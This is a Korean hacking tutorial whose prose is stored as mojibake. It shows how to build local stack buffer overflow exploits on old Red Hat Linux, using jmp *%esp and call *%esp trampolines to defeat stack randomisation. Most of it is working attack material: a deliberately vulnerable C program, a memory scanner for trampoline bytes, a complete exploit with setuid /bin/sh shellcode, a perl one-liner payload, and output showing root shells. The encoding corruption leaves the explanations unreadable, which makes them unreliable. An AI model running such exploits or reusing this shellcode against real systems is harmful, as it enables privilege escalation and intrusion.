Jmp *%esp, Call *%esp ¸¦ ÀÌ¿ëÇÑ Buffer Overflow Exploit Á¦ÀÛ Mutacker in (ÁÖ¼­½ÄÁö: Null@Root & Ç×°ø´ë ³×Æ®¿÷ º¸¾È¿¬±¸½Ç ) mutacker@null2root.org, mutacker@mail.hangkong.ac.kr (http://mutacker.null2root.org) /////////////////////////////////////////////////////////////////////////////////////////////// /////// 1. ±Û ¾²±â¿¡ ¾Õ¼­ ¸ÕÀú ±Û ¾²±â¿¡ ¾Õ¼­ Ç×»ó Àú¸¦ µµ¿ÍÁֽô ¸¹Àº ºÐµé¿¡°Ô °¨»çµå¸³´Ï´Ù. ÀÌÇÏ Á¸Äª »ý·«.. Á˼ÛÇÕ´Ï´Ù. __) ÇØÅ·ÀÇ »õ·Î¿î ±â¼úÀ̳ª ±â¹ýÀ» ¹ß°ßÇÏ°í »ý°¢ÇØ ³»´Â ÀÛ¾÷Àº ºÐ¸í È¥ÀÚ¼­ Çسª°¡±â¿¡´Â ÁöÄ¡°í ÈûÀÌ µé ¶§°¡ ¸¹´Ù. ÇÏÁö¸¸, Ç×»ó °ç¿¡¼­ ÁöÄѺÁÁÖ°í, µµ¿ÍÁÖ°í Á¶¾ðÀ» ¾Æ³¢Áö ¾Ê´Â ¼ö¸¹Àº ºÐµéÀÌ Àֱ⿡ °¡´ÉÇÑ ÀÏÀÌ ¾Æ´Ñ°¡ ½Í´Ù. ´Ù½Ã Çѹø ±× ºÐµé¿¡°Ô °¨»ç¸¦ Ç¥ÇÑ´Ù. ƯÈ÷, ¿ì¸®ÀÇ "¿À~ ¸ð³ª¸®ÀÚ(O~ MuNaRiSe)"ÆÀ¿ø(?)µé²² °¨»çµå¸³´Ï´Ù. - Á¤Ã¼ºÒ¸íÀÇ Null@Root ¸â¹öµé ÀÌ ¹®¼­´Â ´Ù¾çÇÑ ¹æ¹ýÀÇ ¼Ò°³¿¡ ÇØ´çÇÏ´Â °ÍÀ¸·Î ¹öÆÛ¿À¹öÇÃ·Î¾î ±â¹ýÀÌ ¾îµð±îÁö ÀÀ¿ëÀÌ °¡´ÉÇÑÁö º¸¿©ÁÖ±â À§ÇÔÀÏ »ÓÀÌ´Ù. º» ¹®¼­¿¡ ´ëÇÑ ÆDZÇÀº ¾ø´Â °ÍÀ¸·Î Çϸç, ´ÜÁö ÆíÁý¸¸Àº ±ÝÇßÀ¸¸é ÇÑ´Ù. Ʋ¸° ºÎºÐÀ̳ª ¿ÀÅ»ÀÚ µîÀº º»Àο¡°Ô ¸ÞÀÏÀ̳ª ÁÖ¼­½ÄÁö(irc.null2root.org)¿¡¼­ ¾Ë·ÁÁֽñ⠹ٶø´Ï´Ù. ´ÜÁö º» ¹®¼­¿¡¼­´Â ¹æÇ⸸À» Á¦½ÃÇÒ »Ó ½ÇÁ¦ ƯÁ¤ ¾îÇø®ÄÉÀ̼ǿ¡ °ü·ÃµÈ exploitÀ» Á¦°øÇÏÁö´Â ¾Ê´Â´Ù. ¾Æ¹«ÂÉ·Ï, ÀÌ ±ÛÀÌ Çѱ¹ º¸¾È Àü¹®°¡µéÀ̳ª ¿­½ÉÈ÷ ³ë·ÂÇÏ´Â(? ¶Õ±âÀ§ÇØ°¡ ¾Æ´Ñ ±â¼ú¹ßÀüÀ» À§ÇØ) ÇØÄ¿µé¿¡°Ô, ±×¸®°í ÇÁ·Î±×·¥À» °³¹ßÇÏ´Â °³¹ßÀڵ鿡°Ô Á¶±×¸¶ÇÑ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥¿¡¼­ ±ÛÀ» Àû¾îº»´Ù. ÀÌ ¹®¼­ÀÇ ÃÖ°í °ø°³Áö´Â http://www.null2root.orgÀ̸ç, ÃÖÃÊ ¹®¼­ °³Á¦ Àå¼Ò´Â http://www.khdp.orgÀÌ´Ù. ¸¸ÀÏ ´Ù¸¥ °÷¿¡ º» ¹®¼­¸¦ °³Á¦ÇÒ °æ¿ì¿¡´Â ±× Ãâó¸¦ Á¤È®È÷ ¹àÇôÁÖ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥ÀÌ´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// /////// 2. ¼Ò°³ 2003³â 10¿ù 14ÀÏ, ¿ì¿¬È÷ http://www.cnhonker.com »çÀÌÆ®¸¦ ¹æ¹®ÇÏ°Ô µÇ¾ú°í, ¾ÆÁÖ Àç¹Ì³­ ±ÛÀ» º¼ ¼ö ÀÖ¾ú´Ù. Redhat 9.0¿¡ Ãß°¡µÈ Stack¿µ¿ªÀÇ Random ÁÖ¼Ò ºÎ¿© ¹æ½Ä¿¡ ´ëÇØ ±×°ÍÀ» ¹«¿ëÁö¹°(??)·Î ¸¸µé ¼ö ÀÖ´Â ¹æ¾ÈÀ̱⵵ ÇÏ´Ù. ÀÌ ±ÛÀº º»ÀÎÀÌ Áß±¹¾î¸¦ ÇÒ ÁÙ ¸ð¸£´Â °ü°è·Î ÇØ´ç ±ÛÀÇ ³»¿ë¿¡ ³ªÅ¸³ª´Â Äڵ带 º¸°í À籸¼ºÇÑ ³»¿ëÀÓÀ» ¹àÇôµÐ´Ù. Source : http://www.cnhonker.com/index.php?module=articles&act=view&type=7&id=51 Thanks, bkbll ¿ø ±Û¿¡¼­ÀÇ ³»¿ëÀ» ±âÁØÀ¸·Î Wowlinux 7.3°è¿­¿¡¼­ Å×½ºÆ® ÇßÀ» ¶§, jmp *%espÄڵ带 ÀüÇô ¹ß°ßÇÒ ¼ö ¾ø¾ú´Ù. ±×·¸´Ù¸é Á¤¸» ¿©±â¿¡¼­´Â ÀÌ°ÍÀ» ÀÌ¿ëÇÒ ¼ö ¾ø´Â °ÍÀΰ¡? ÇÏ´Â »ý°¢¿¡ À̸£°Ô µÇ¾ú°í, À̸¦ ÇØ°áÇϱâ À§ÇÑ ¶Ç´Ù¸¥ ¹æ¾ÈÀÌ Á¸ÀçÇÒ ¼öµµ ÀÖÀ½À» ¾Ë¾Ò´Ù. À̸¦ À§ÇØ ÇØ´ç ¹®¼­¿¡¼­´Â ¼Ò°³µÇÁö ¸øÇÏ°í ÀÖ´Â call *%esp¿¡ ´ëÇÑ °£·«ÇÑ ¼Ò°³µµ ÀÌ·ç¾î Áú °ÍÀÌ´Ù. º» ¹®¼­¿¡¼­´Â ¿ø ÀúÀÚÀÇ Äڵ带 °¡±ÞÀû ±×´ë·Î ÀÌ¿ëÇÏ°Ú´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 3. ¹®Á¦ ¼³Á¤ [netconf@linux1 test]$ cat vul.c #include #include #include int foo(char *s1) { char buffer[20]; memset(buffer,0,20); strcpy(buffer,s1); printf("input:%s\r\n",buffer); return 0; } main(int argc,char **argv) { if(argc<2) { printf("Usage:%s \n",argv[0]); exit(0); } foo(argv[1]); exit(0); } Á÷°üÀûÀ¸·Î stack buffer overflow°¡ °¡´ÉÇÑ ÄÚµåÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. ¹°·Ð ȯ°æ º¯¼ö ¿µ¿ªÀ» ÀÌ¿ëÇؼ­ ½©À» ¿Ã¸± ¼ö ÀÖ°ÚÁö¸¸, ¿©±â¿¡¼­´Â ¸®¸ðÆ® °ø°Ýµµ °í·ÁÇÏÀÚ. ¿ì¸®´Â ½±°Ô ¾Æ·¡¿Í °°Àº ÇüÅÂÀÇ ±×¸²À» ¸Ó¸®¼ÓÀ¸·Î ±×¸± ¼ö ÀÖÀ» °ÍÀÌ´Ù. | | +---------------------------------+ | Return Address |---+ +---------------------------------+ | | |<--+ | | | shell code | | | | | +---------------------------------+ | | Çåµ¥, ¸¸ÀÏ Redhat 9.0°ú °°Àº Stack ¿µ¿ªÀÇ ÁÖ¼Ò°¡ ÇÁ·Î±×·¥À» ¼öÇàÇÒ ¶§¸¶´Ù RandomÇÏ°Ô º¯°æµÇ´Â »óȲÀ̶ó¸é shellcodeÀÇ À§Ä¡¸¦ ã´Â´Ù´Â °ÍÀº ½¬¿î ÀÏÀº ¾Æ´Ò °ÍÀÌ´Ù. ¹°·Ð ½©ÄÚµåÀÇ ¾çÀ» »ó´çÈ÷ Å« Å©±â·Î Å°¿ö ExploitÀ» Á¦ÀÛÇÒ ¼öµµ ÀÖ°ÚÁö¸¸, ÀԷµ¥ÀÌÅÍÀÇ ÇÑ°è°¡ ÁÖ¾îÁø´Ù¸é ÀÌ ¶ÇÇÑ ¾î·Á¿öÁø´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 4. ¹®Á¦ ºÐ¼®°ú ÇØ°á ¿øÀúÀÚ´Â ¿©±â¿¡¼­ ´ÙÀ½°ú °°Àº Äڵ带 ¼±º¸¿´´Ù. // ¿øº»°ú ¾à°£ ¼öÁ¤µÈ ºÎºÐÀº p°ªÀ» ÀԷ¹޴ ºÎºÐÀ» ¿ÜºÎ¿¡¼­ ÀÔ·ÂÇÒ ¼ö ÀÖµµ·Ï ÇÏ¿´´Ù. [netconf@linux1 test]$ cat findesp.c #include #include #include unsigned int i=0; unsigned int a=0; unsigned char *p; void de(int j) { printf("\r\nGot SIGSEGV:"); printf("%p\r\n",p+a); a++; exit(0); } main(int argc, char* argv[]) { if(argc < 2) { printf("%s \n", argv[0]); exit(0); } sscanf(argv[1], "%x", &i); printf("Using %x\n", i); p=(unsigned char *)i; signal(SIGSEGV,de); foo(); } int foo() { while((unsigned int)p+a < 0xbfffffff) { fflush(stdout); if( (*(p+a)==0xff) && (*(p+a+1)==0xe4) ) { printf("found it!! addr:%p\n",p+a); a+=2; foo(); } a++; } exit(0); } ÀÌ ÄÚµå´Â ÀÚ½ÅÀÌ ¿øÇÏ´Â °÷¿¡¼­ 0xff¿Í 0xe4°¡ ¿¬¼ÓÇؼ­ Á¸ÀçÇÏ´Â ¸Þ¸ð¸® °ø°£ÀÇ À§Ä¡°ªÀ» È­¸é¿¡ Ãâ·ÂÇØ ÁÖ´Â ÇÁ·Î±×·¥ÀÌ´Ù. ÀÌ µÎ °³ÀÇ ¼ýÀÚ´Â jmp *%esp ¿¡ ÇØ´çÇÏ´Â ¸í·É¾îÀÌ´Ù. Áï, ÇöÀç %esp°¡ °¡¸®Å°´Â °÷À¸·Î jumpÇ϶ó´Â Àǹ̰¡ µÇ°Ú´Ù. ÀÌÀü¿¡ º»ÀÎÀÌ ÀÛ¼ºÇß¾ú´ø ¹®¼­µé¿¡¼­ ÇÔ¼ö°¡ ¸®ÅϵǴ ½ÃÁ¡¿¡¼­ÀÇ %esp ·¹Áö½ºÅÍÀÇ ¿òÁ÷ÀÓ¿¡ ´ëÇØ ÀÚ¼¼ÇÏ°Ô ¾ð±ÞÇÑ ¹Ù°¡ ÀÖÀ¸¹Ç·Î ¿©±â¿¡¼­´Â °£´ÜÇÏ°Ô ¼³¸íÇϵµ·Ï ÇÏ°Ú´Ù. ret °¡ ½ÇÇàµÇ´Â ½ÃÁ¡¿¡¼­ %eip·¹Áö½ºÅÍÀÇ °ªÀº %esp°¡ °¡¸®Å°´Â °÷¿¡¼­ ÃëÇÏ°Ô µÈ´Ù. ret°¡ ½ÇÇàµÇ¸é %esp°ªÀº 4¸¸Å­ÀÌ Áõ°¡µÇ¾îÁø´Ù. ¸¸ÀÏ ¿©±â¿¡¼­ ret¿¡ ÀÇÇØ return µÇ´Â ÁÖ¼Ò°¡°¡ jmp *%esp (xff¿Í 0xe4°¡ ¿¬¼ÓÇؼ­ Á¸ÀçÇÏ´Â ¸Þ¸ð¸® °ø°£)À̸é %esp°¡ °¡¸®Å°´Â °÷À¸·Î ´Ù½Ã Á¡ÇÁÇØ ¿Ã °ÍÀÌ´Ù. | | +---------------------------------+ | Return Address |-----------------> jmp *%esp (0xff 0xe4) --+ +---------------------------------+ | | |<------------------------------------------+ | | | shell code | | | | | +---------------------------------+ | | ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÏ°Ô µÉ °æ¿ì ¿ì¸®´Â %espÀÇ À§Ä¡°ªÀ» ¾Ë·Á°í ³ë·ÂÇÒ ÇÊ¿ä°¡ ¾ø¾îÁø´Ù. ±â°èÀûÀ¸·Î Á¤È®ÇÑ %espÀÇ °ªÀ» ȹµæÇÏ¿© ½©Äڵ带 ½ÇÇà½Ãų¼ö ÀÖ´Â ÀåÁ¡ÀÌ »ý±â´Â °ÍÀÌ´Ù. ========================================================================== ¿øÀúÀÚÀÇ °æ¿ì Àú Äڵ带 ¶óÀ̺귯¸® ¿µ¿ª¿¡¼­ ã°í ÀÖ´Ù. #include unsigned int i=0x4211cc79; // <== ¶óÀ̺귯¸® ¿µ¿ª unsigned int a=0; ========================================================================== [netconf@linux1 test]$ ./findesp found it!!,p addr:0x4211ccf7 found it!!,p addr:0x4211dd5b found it!!,p addr:0x4211dee7 found it!!,p addr:0x4211e15f found it!!,p addr:0x4211e59f found it!!,p addr:0x42125aa3 found it!!,p addr:0x42125c13 Got SIGSEGV:0x4212f000 ¿øÀúÀÚÀÇ °æ¿ì 0xff 0xe4 ¸¦ °¡Áø °÷ÀÌ À§¿Í °°Àº °÷ÀÓÀ» ¾Ë ¼ö ÀÖÀ¸¸ç, ¾Æ·¡ÀÇ #define JMPESP 0x42125aa3 ¿¡´Â À§¿¡¼­ ¾Æ¹« °ÍÀ̳ª Çϳª¸¦ ¼±ÅÃÇÏ¿´À½À» ¾Ë ¼ö ÀÖ´Ù. [netconf@linux1 test]$ cat exp.c #include #include #include #include #include #define JMPESP 0x42125aa3 char progname[]="./vul"; char shellcode[]= "\x31\xdb\x31\xc9\x31\xd2\x31\xc0\xb0\xa4\xcd\x80" "\x89\xd8\xb0\x17\xcd\x80" "\x31\xc0\x50\x50\xb0\xb5\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main(int argc,char **argv) { char buffer[1024]; int num=44,i=0; memset(buffer,0,1024); memset(buffer,'A',num); buffer[num++]=JMPESP & 0xff; buffer[num++]=(JMPESP>>8) & 0xff; buffer[num++]=(JMPESP>>16) & 0xff; buffer[num++]=(JMPESP>>24) & 0xff; memcpy(buffer+num,shellcode,sizeof(shellcode)); execl(progname,progname,buffer,NULL); } [netconf@linux1 test]$ ./exp ¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦ . ?1???????/bin/sh sh-2.05b# Á¤¸» ±ò²ûÇÏ´Ù. ½©À» ÀÌ·¸°Ô ½±°Ô ¶ç¿ü´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 5. ¹®Á¦Á¡ ÁöÀû ¸¸ÀÏ ±×·¸´Ù¸é jmp *%esp Äڵ带 ¶óÀ̺귯¸® ¿µ¿ªÀ̵ç Äڵ念¿ªÀÌµç ±× ¾îµð¿¡¼­µµ ãÀ» ¼ö ¾ø´Ù¸é À§ÀÇ ¹æ½ÄÀ» ÀÌ¿ëÇÒ ¼ö¾ø´Â °ÍÀΰ¡? [muda@muda]$ cat /etc/redhat-release Red Hat Linux release 7.3 (Valhalla) [muda@muda]$ ./findesp 0x42000000 Using 42000000 Got SIGSEGV:0x42135000 [muda@muda]$ ./findesp 0x40000000 Using 40000000 Got SIGSEGV:0x40015000 [muda@shimcity muda]$ ¾Ö¼®ÇÏ°Ôµµ À§ÀÇ ¹öÁ¯¿¡¼­´Â ±× ¾îµð¿¡µµ jmp *%espÄڵ带 ¹ß°ßÇÒ ¼ö ¾ø¾ú´Ù. ¿©±â¿¡¼­ ¿ì¸®´Â jmp *%esp¿¡ ÁØÇÏ´Â ´Ù¸¥ ¹«Á¶°Ç Á¡ÇÁ ¸í·ÉÀ» »ý°¢ÇØ º¼ ¼ö ÀÖ°Ú´Ù. call *%esp°¡ ¾Æ¸¶ °¡Àå À¯¿ëÇÏ°Ô »ç¿ëÇÒ ¸¸ÇÑ ¹«Á¶°Ç Á¡ÇÁ ¸í·ÉÀÌ µÇÁö ¾ÊÀ»±î ½Í¾î Å×½ºÆ®¸¦ Çغ¸¾Ò´Ù. Âü°í·Î 0xff 0xd4°¡ call *%esp ÀÌ´Ù. [muda@muda]$ ./findesp 0x40000000 Using 40000000 Got SIGSEGV:0x40015000 [muda@muda]$ ./findesp 0x42000000 Using 42000000 found it!! addr:0x420312b6 found it!! addr:0x4203dc96 found it!! addr:0x420922f1 found it!! addr:0x4209f9c1 found it!! addr:0x42119f20 Got SIGSEGV:0x42135000 [muda@muda]$ ÀÌÁß¿¡¼­ 0x4203dc96À» ¼±ÅÃÇÏ¿© (³ª¸ÓÁö´Â ¸ðµÎ µ¿ÀÛÇÏÁö ¾Ê¾Ò´Ù.) ½ÇÇèÇØ º¸¾Ò´Ù. [muda@muda]$ ./vul `perl -e 'print "A"x44, "\x96\xdc\x03\x42", "\x31\x db\x31\xc9\x31\xd2\x31\xc0\xb0\xa4\xcd\x80", "\x89\xd8\xb0\x17\xcd\x80", "\x31\ xc0\x50\x50\xb0\xb5\xcd\x80","\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b", "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x3h-2.05a$ ¾î¶²°¡? ½©ÀÌ ½ÇÇàµÊÀ» º¼ ¼ö ÀÖ´Ù. Çåµ¥, ³ª¸ÓÁö´Â ½ÇÇàÀÌ µÇÁö ¾Ê´Â´Ù. ¿ÖÀϱî? ÀÌÀ¯´Â ´Ü¼øÇÏ´Ù. jmp *%espÀÇ °æ¿ì¿¡´Â ±×³É °ð¹Ù·Î Á¡ÇÁ¸¦ ÇÏÁö¸¸, callÀÇ °æ¿ì¿¡´Â call ´ÙÀ½ÀÇ ¸í·É¾îÀÇ ÁÖ¼Ò°ªÀÌ ½ºÅÿ¡ µé¾î°¡±â ¶§¹®ÀÌ´Ù. Áï, call *%esp°¡ 0xff 0xd4À̹ǷÎ, ¿ø·¡ return ÁÖ¼Ò·Î µé¾î°£ ÁÖ¼Ò + 2ÀÇ À§Ä¡°ªÀÌ ±âÁ¸ return ÁÖ¼Ò °ø°£¿¡ µé¾î°¥ °ÍÀÌ´Ù. (gdb·Î Å×½ºÆ®Çغ¸±æ ±ÇÇÑ´Ù.) ¸¸ÀÏ 0x4203dc96À» À§¿Í°°ÀÌ ¼³Á¤Çß´Ù¸é 0x4203dc98ÀÌ ¸®ÅÏ ÁÖ¼Ò·Î µé¾î°¥ °ÍÀÌ´Ù. ±×¸®°í %esp°ªÀº -4¸¸Å­ÀÇ À̵¿ÇÏ°Ô µÈ´Ù. ±×¸®°í, ±× ¸®ÅÏ ÁÖ¼Ò°¡ ÀÖ´ø °ø°£À¸·Î call¹®¿¡ ÀÇÇØ Á¡ÇÁµÇ¾î ¿Ã °ÍÀÌ´Ù. Áï, Return Address¿¡ ÀÖ´Â °ªÀ» ´õ ÀÌ»ó ÁÖ¼Ò·Î º¸Áö ¾Ê°í ¸í·É¾î·Î °£ÁÖÇÑ´Ù´Â °ÍÀÌ´Ù. | | +---------------------------------+ | Return Address | <----+ --------> call *%esp (0xff 0xe4) --+ +---------------------------------+ | | | | +---------------------------------------+ | | | shell code | | | | | +---------------------------------+ | | ±×·¸´Ù¸é, Return Address·Î µé¾î°¡´Â ÁÖ¼Ò°¡ ¸¸ÀÏ ±â°è¾îÄÚµå·Î¸¸ Àνĵɼö¸¸ ÀÖ´Ù¸é, ¿ì¸®´Â ±×°÷À¸·Î Á¡ÇÁµÇ´õ¶óµµ º° ¹«¸®´Â ¾ø¾îº¸ÀδÙ. call¿¡ ÀÇÇØ Return Address¿¡ µé¾î°¡ ÀÖ´Â 0x4203dc98Àº ¾î¶² ÄÚµåÀϱî? [muda@muda]$ cat ttt.c char *buf = "\x98\xdc\x03\x42"; char buff[100] = {0, }; main() { strcat(buff, buf); strcat(buff, "AAAAAAA"); printf("buf=%p\n", buff); printf("\n"); } [muda@muda]$ gdb ttt -q (gdb) b *(main+86) Breakpoint 1 at 0x8048496 (gdb) r Starting program: /home/muda/ttt buf=0x8049560 Breakpoint 1, 0x08048496 in main () (gdb) disassemble 0x8049560 Dump of assembler code for function buff: 0x8049560 : cwtl 0x8049561 : faddl (%ebx) 0x8049563 : inc %edx ´ÙÇàÈ÷µµ(??) 0x4203dc98Àº ÇÁ·Î±×·¥¿¡ Å©°Ô ¿µÇâÀ» ÁÖÁö ¾Ê´Â ±â°è¾î ÄÚµåÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. Áï, call *%espÀÇ À§Ä¡°ªÀ» ã°í, ±× À§Ä¡°ª + 2¿¡ ÇØ´çÇÏ´Â ÁÖ¼Ò°¡ ±â°è¾î ¸í·É¾î·Î ÇÕ´çÇÑ °ÍÀ̶ó¸é jmp *%esp°¡ Á¸ÀçÇÏÁö ¾Ê´Â ½Ã½ºÅÛ¿¡¼­ call *%esp¸¦ ÀÌ¿ë ÇÒ ¼ö ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 5. °á·Ð º» ¹®¼­¿¡¼­´Â jmp *%esp¿Í call *%esp¸¦ ÀÌ¿ëÇÑ exploitÀÇ Á¦ÀÛ ¹æ¹ý¿¡ ´ëÇØ ¾Ë¾Æ º¸¾Ò´Ù. ÀÌ µéÀ» »ç¿ëÇÔÀ¸·Î½á, ±âÁØ¿¡ %espÀÇ °ªÀÇ À§Ä¡¸¦ ÃßÀûÇÏ°í ÇÏ´Â ÀϵéÀ» »ó´çºÎºÐ ÁÙÀÏ ¼ö ÀÖ°í, ½ºÅÿ¡ ´ëÇØ ·£´ý ÁÖ¼Ò ºÎ¿© ¹æ½ÄÀ» »ç¿ëÇÏ´Â ½Ã½ºÅÛ¿¡ ´ëÇؼ­µµ ÃæºÐÈ÷ ½±°Ô exploitÀ» Á¦ÀÛÇÒ ¼ö ÀÖ´Â ¹æ¾ÈÀÌ µÉ ¼ö ÀÖÀ½À» »ìÆ캸¾Ò´Ù. ÀÌÁ¦ ¿ì¸®¿¡°Ô ³²Àº °ÍÀº ¶Ç ´Ù¸¥ ¹«¾ð°¡¸¦ ã¾Æ ¶°³ª´Â ÀÏÀÌ ¾Æ´Ò±î ½Í´Ù. ±×·³ ¿©·¯ºÐµéÀÇ °Ç½ÂÀ» ºô¸é¼­.. /////////////////////////////////////////////////////////////////////////////////////////////// ////// 6. Âü°í¹®¼­ 1. ××éÄjmp esp ?ú¼shellcode http://www.cnhonker.com/index.php?module=articles&act=view&type=7&id=51